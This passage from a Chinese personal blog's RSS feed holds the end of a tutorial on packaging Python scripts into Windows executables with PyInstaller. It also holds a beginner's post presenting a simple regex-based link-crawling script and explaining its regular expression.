<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip install future</span></span></code></pre></div><p>　　如果下到一半出错，多半是下载时候连接超时，因为是国外网站，所以可以多试几次，有条件的搭个梯子。</p>
<p>　　安装完成以后再重复pyinstaller的安装操作，应该就可以了。</p>
<p>　　以上操作是来自官方文档和网上别人的各种博客和后来的部分实践，理论上应该可以，可是我当时没有看官方文档于是语句有问题，没有成功实现以上操作。大家可以先试试，如果不行麻烦告知我。于是(懒惰的)机智的我走了另一条捷径。</p>
<p>　　到这里我才发现Windows下也可以像Linux一样很方便的用命令行安装程序。如果你的电脑已经安装好Python，有pip的话，就可以打开cmd（管理员权限），然后键入以下指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip install PyInstaller</span></span></code></pre></div><p>　　然而，如果是国内网，可以无视这一条方法了。必报错。请在翻墙以后执行这条指令。如果有权限的报错，请务必用管理员权限运行cmd。</p>
<p>　　然后就可以非常非常爽快的安装完这个模块了，而且会自动帮你装pywin32模块以及future模块（如果没有的话），安装完甚至会提示你的pip可以更新了（如果版本太老的话）&hellip;..简直太良心了好嘛&hellip;..唯一的缺点就是不搭梯子没法用。</p>
<p>　　至于翻墙、搭梯子是什么，请自行谷歌（手动斜眼）。</p>
<p>　　安装完以后，就可以用这个模块愉快的把你的py编译成exe给小伙伴装逼啦！！hhhhh</p>
<p>　　然而还没这么简单。编译有两种方法：命令行方式和直接Python文件调用方法。</p>
<h2 id="命令行方式">命令行方式</h2>
<p>　　在命令行下进入你的py文件所在目录（操作方法和之前一样）</p>
<p>　　然后输入以下指令：（***.py为你要编译的文件名）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pyinstaller ***.py</span></span></code></pre></div><p>　　然后等待编译完，在该目录下会新生成四个东西，一个***.spec文件（***和你的py文件同名），一个__pycache__文件夹，一个dist文件夹和一个build文件夹。你要的exe就在dist文件夹里。但是，拷给小伙伴的时候记得把整个文件夹都拷给他们，这一整个文件夹都是exe的一部分。（其他的都是编译过程中的中间文件，输出完就可以删掉了）</p>
<p>　　你一定想，这么多东西真是麻烦啊，怎么只输出一个exe呢？那就要加一个单文件的参数-F，如下：</p>
<p>　　（其实可用的参数还有不少，在法二中介绍）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pyinstaller -F ***.py</span></span></code></pre></div><p>　　然后你就会愉快的发现这时候dist下只有一个exe啦哈哈哈可以愉快的装逼啦wwwww</p>
<p>　　でも！！还有更方便的方法！</p>
<h2 id="直接python文件调用方法">直接Python文件调用方法</h2>
<p>　　在Python中直接调用这个模块，会比cmd更方便，至少我是这么认为的。至少，以后再要输出只要把这个文件复制一波，改一两个参数就可以了，简直爽啊。</p>
<p>方法如下：</p>
<p>　　首先，在要编译的***.py同目录下创建一个py文件：TargetPy2exe.py（当然其他随便xjb一个名字都可以）</p>
<p>　　然后，在其中写入以下代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">PyInstaller.__main__</span> <span class="kn">import</span> <span class="n">run</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="n">opts</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;***.py&#39;</span><span class="p">,</span><span class="s1">&#39;-F&#39;</span><span class="p">,</span><span class="sa">r</span><span class="s1">&#39;--distpath=**&#39;</span><span class="p">,</span><span class="sa">r</span><span class="s1">&#39;--workpath=**&#39;</span><span class="p">,</span><span class="sa">r</span><span class="s1">&#39;--specpath=**&#39;</span><span class="p">,</span><span class="sa">r</span><span class="s1">&#39;--icon=**&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="n">run</span><span class="p">(</span><span class="n">opts</span><span class="p">)</span></span></span></code></pre></div><p>　　调整完参数运行就可以输出exe了。</p>
<p>　　代码中，opts= 后面的列表里的就是一系列参数，详解如下：</p>
<p>　　第一个***.py就是你要编译的文件名，必填 [之后的参数全部为选填]</p>
<p>　　第二个-F就是生成单文件的参数</p>
<p>　　第三个&ndash;distpath=**意思是dist文件夹（最后输出文件所在地）的路径，**为路径，比如<strong>D:\My Programs\Python\输出\dist</strong>，默认为当前目录下的dist文件夹内</p>
<p>　　第四个&ndash;workpath=**意思是build文件夹（临时文件）的路径，**为路径，比如<strong>D:\My Programs\Python\输出\build</strong>，默认为当前目录下的build文件夹内</p>
<p>　　第五个&ndash;specpath=**意思是***.spec文件（临时文件）的路径，**为路径，比如**D:\My Programs\Python\输出\，**默认为当前目录</p>
<p>　　第六个&ndash;icon=**意思是输出的exe文件的图标路径，**为路径，比如<strong>D:\My Programs\Python\icon.ico</strong></p>
<p>　　对于图标，最好到一个叫png2ico的网站上在线生成你所需的ico图标文件，注意，直接把一个jpg图片文件改后缀成.ico会报错 [我一开始就是刷小聪明在这上面耗了好久才发现问题的&hellip;.(捂脸)]。在png2ico上转换图片的时候，大小记得点auto，这样生成的ico文件会内置四种大小的图标以供系统缩放的需求。</p>
<p>　　后面四个参数里的路径也可以不用像我一样用绝对路径，可以使用简单的相对路径。例如你想生成dist，build，spec的目标路径是TargetPy2exe.py所在文件夹里的一个文件夹output，你的三个路径就可以输成相对路径.\output\dist 和 .output\build 和 .output\ ，当然三个未必在同一个文件夹里，仅供示例。</p>
<p>　　注意，我在后四个参数的引号前面都加上了r，这是因为不加r会出现各种问题，例如反斜杠导致的转义字符捣乱，以及有些中文目录名里的中文会变成16进制的utf-8码来显示导致路径错误。在这些字符串前加上r（raw）以表示原始字符串就能解决这些问题了。</p>
<p>　　其实，pyinstaller能用的参数还不止这几个，还有能添加搜索路径的参数（我也不太懂这个是啥），以及一个&ndash;clean参数说是可以清除临时文件，然而我测试的时候发现貌似并没有什么luan用&hellip;&hellip;.附上官方文档地址，英语大神可以尝试阅读。</p>
<p><a href="https://pyinstaller.readthedocs.io/en/stable/">https://pyinstaller.readthedocs.io/en/stable/</a></p>
<h2 id="32--64位的问题">32 &amp; 64位的问题</h2>
<p>　　另外，关于输出exe文件的32位和64位的问题。这个问题的起因是我的电脑上安装了64位的Python环境，然后用pyinstaller输出的exe文件就是64位的了。然而小伙伴的电脑是32位的，于是妥妥的没法运行了。这就让我很尴尬了&hellip;..没法好好装逼了不是&hellip;于是怎么输出32位的exe呢？其实很简单，你的Python环境是32位的，输出的exe就会是32位的，64位的就会输出64位的。如果你想既输出32位的，又输出64位的，以下是方法：</p>
<p>　　首先分别安装32位和64位的Python环境，并分别安装pyinstaller。切记，安装完一个环境就要立马用pip install pyinstaller安装pyinstaller。如果已经装完了两个环境再安装pyinstaller，会有一个环境安装成功，但是再次运行会提示已经安装，另一个环境会无法成功安装。成功给两个环境装好pyinstaller了以后，如果用cmd命令行的方式调用会出现问题，至少我的电脑上会有这个问题。目前我还不清楚怎么在cmd下分别调用两个环境。这时候Python文件调用的方法就会方便很多。以我使用的pycharm为例，显然要编译的***.py和TargetPy2exe.py是在同一个工程下的。这时，在File选项卡下，打开Setting选项，在Setting窗口左侧栏中找到Project:***（***为工程名）选项，点击左侧灰色三角打开下拉菜单，里面点击Project Interpreter选项，然后在右侧窗口里上面的下拉菜单里选择所需的32位或者64位解释器。选好以后点击下面的OK即可。第一次可能需要等待一会才能运行。然后运行TargetPy2exe.py就可以生成你要的32/64位的exe啦!!</p>
<p>　　不过这只是对于我这种强迫症类型的人适用的方法。如果嫌烦，只需要装一个32位的Python环境就可以了，因为64位系统下可以兼容32位的程序&hellip;..这是最简单的解决办法。</p>
<p>以上。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Python爬虫初次开发</title>
      <link>https://sttev.com/posts/00-python-crawler/</link>
      <pubDate>Sat, 12 Nov 2016 21:20:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/00-python-crawler/</guid>
      <description>&lt;p&gt;　　这周四讲了正则表达式，晚上就开始摸索着写一个网络爬虫。这个爬虫的功能就是从指定的网页开始，爬取这个网页里所有的链接，然后进入这些链接继续爬取新的链接，不断继续这个过程，并保存下所有爬取到的链接。这个爬虫目前还没有什么实际用处，后续可以在此基础上开发搜索指定信息等功能。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>　　这周四讲了正则表达式，晚上就开始摸索着写一个网络爬虫。这个爬虫的功能就是从指定的网页开始，爬取这个网页里所有的链接，然后进入这些链接继续爬取新的链接，不断继续这个过程，并保存下所有爬取到的链接。这个爬虫目前还没有什么实际用处，后续可以在此基础上开发搜索指定信息等功能。</p>
<p>　　这个Python程序将用到以下模块：urllib, re, time</p>
<p>　　urllib：用来调用 urlopen 函数打开链接</p>
<p>　　re：编译正则表达式</p>
<p>　　time：用于计时[可选]</p>
<p>以下是我的代码：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#code by SteveHawk</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">from</span> <span class="nn">urllib.request</span> <span class="kn">import</span> <span class="n">urlopen</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">fo</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;pc00_result.txt&#34;</span><span class="p">,</span><span class="s2">&#34;w&#34;</span><span class="p">)</span>          <span class="c1">#打开要用于储存链接的文本文档</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nb">list</span><span class="o">=</span><span class="p">[]</span>                                 <span class="c1">#储存所有的链接</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">x</span><span class="o">=</span><span class="mi">0</span>                                     <span class="c1">#爬过的链接次数</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">connected</span><span class="o">=</span><span class="mi">0</span>                             <span class="c1">#成功连上的数量</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">num</span><span class="o">=</span><span class="mi">0</span>                                   <span class="c1">#上一次储存的最后一个链接的索引</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nb">list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">&#34;输入网址：&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">xn</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">&#34;输入爬虫总次数：&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">start</span><span class="o">=</span><span class="n">time</span><span class="o">.</span><span class="n">clock</span><span class="p">()</span>                      <span class="c1">#开始计时</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">while</span> <span class="n">x</span><span class="o">&lt;=</span><span class="n">xn</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">if</span> <span class="n">x</span><span class="o">&gt;=</span><span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">):</span>                    <span class="c1">#次数超出总链接数量就结束</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="n">end</span><span class="o">=</span><span class="n">time</span><span class="o">.</span><span class="n">clock</span><span class="p">()</span>                <span class="c1">#结束计时</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;爬虫结束...!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;本次爬虫共爬过</span><span class="si">{}</span><span class="s2">个网站，爬得</span><span class="si">{}</span><span class="s2">个链接&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">connected</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;共耗时</span><span class="si">{:.3f}</span><span class="s2">s&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">end</span><span class="o">-</span><span class="n">start</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;爬虫结束...!</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;本次爬虫共爬过</span><span class="si">{}</span><span class="s2">个网站，爬得</span><span class="si">{}</span><span class="s2">个链接</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">connected</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;共耗时</span><span class="si">{:.3f}</span><span class="s2">s</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">end</span><span class="o">-</span><span class="n">start</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;No.</span><span class="si">{}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;No.</span><span class="si">{}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;正在连接</span><span class="si">{}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;正在连接</span><span class="si">{}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="n">temp</span><span class="o">=</span><span class="n">urlopen</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">],</span><span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>                    <span class="c1">#打开链接 10秒超时</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="n">temp</span><span class="o">=</span><span class="n">temp</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span>                    <span class="c1">#读取网页内容并以utf-8方式解码</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;已连接上</span><span class="si">{}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;已连接上</span><span class="si">{}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="n">patten</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;https?://[^</span><span class="se">\\\&#39;</span><span class="s1">&#34;\.].+?[^</span><span class="se">\\\&#39;</span><span class="s1">&#34;](?:/|com|org|net|cn|cc|tv)&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;正在解析</span><span class="si">{}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;正在解析</span><span class="si">{}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="n">temp0</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">patten</span><span class="p">,</span> <span class="n">temp</span><span class="p">)</span>                      <span class="c1">#在之前读取的内容里进行匹配</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="n">connected</span><span class="o">+=</span><span class="mi">1</span>                                        <span class="c1">#成功连接数加一</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">temp0</span><span class="p">)):</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">            <span class="k">if</span> <span class="n">temp0</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="ow">not</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">:</span>                        <span class="c1">#新链接储存起来</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                <span class="nb">list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">temp0</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">)):</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">j</span><span class="p">])</span>                                  <span class="c1">#输出这次新获得的链接</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">            <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">j</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">            <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="n">num</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">{}</span><span class="s2">连接或解析失败</span><span class="se">\n\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;</span><span class="si">{}</span><span class="s2">连接或解析失败</span><span class="se">\n\n\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">list</span><span class="p">[</span><span class="n">x</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">        <span class="n">x</span><span class="o">+=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="n">x</span><span class="o">+=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">    <span class="n">end</span><span class="o">=</span><span class="n">time</span><span class="o">.</span><span class="n">clock</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;爬虫结束...!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;本次爬虫共爬过</span><span class="si">{}</span><span class="s2">个网站，爬得</span><span class="si">{}</span><span class="s2">个链接&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">connected</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;共耗时</span><span class="si">{:.3f}</span><span class="s2">s&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">end</span><span class="o">-</span><span class="n">start</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">    <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">    <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;爬虫结束...!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">    <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">    <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;本次爬虫共爬过</span><span class="si">{}</span><span class="s2">个网站，爬得</span><span class="si">{}</span><span class="s2">个链接&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">connected</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">    <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">    <span class="n">fo</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="s2">&#34;共耗时</span><span class="si">{:.3f}</span><span class="s2">s&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">end</span><span class="o">-</span><span class="n">start</span><span class="p">))</span></span></span></code></pre></div><p>　　这个爬虫的关键在于那个正则表达式：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">patten</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s1">&#39;https?://[^</span><span class="se">\\\&#39;</span><span class="s1">&#34;\.].+?[^</span><span class="se">\\\&#39;</span><span class="s1">&#34;](?:/|com|org|net|cn|cc|tv)&#39;</span></span></span></code></pre></div><p>　　这句的意思是把那个正则表达式编译成正则表达式对象然后储存在 patten 变量里。</p>
<p>　　而核心的正则表达式： <code>https?://[^\\\'&quot;\.].+?[^\\\'&quot;](?:/|com|org|net|cn|cc|tv)</code></p>
<p>　　是指匹配以 <code>http</code> 开头，可能有 <code>s</code>（https），加上 <code>://</code>，以 <code>/</code>、<code>com</code>、<code>org</code>、<code>net</code>、<code>cn</code>、<code>cc</code>、<code>tv</code> 结尾的链接</p>
<p>　　中间的 <code>[^\\\'&quot;\.]</code> 指 <code>http(s)://</code> 后面不能直接跟 <code>\ ' &quot; .</code> 这四个符号</p>
<p>　　<code>.+?</code> 指非贪婪的匹配任何字符</p>
<p>　　<code>[^\\\'&quot;]</code> 指在com等结尾之前不能出现 <code>\ ' &quot;</code> 的符号</p>
<p>　　这个表达式花了我很大力气写出来，而且匹配仍会有一定的出错率，目前还不知道有什么解决办法。</p>
<p>以上。</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
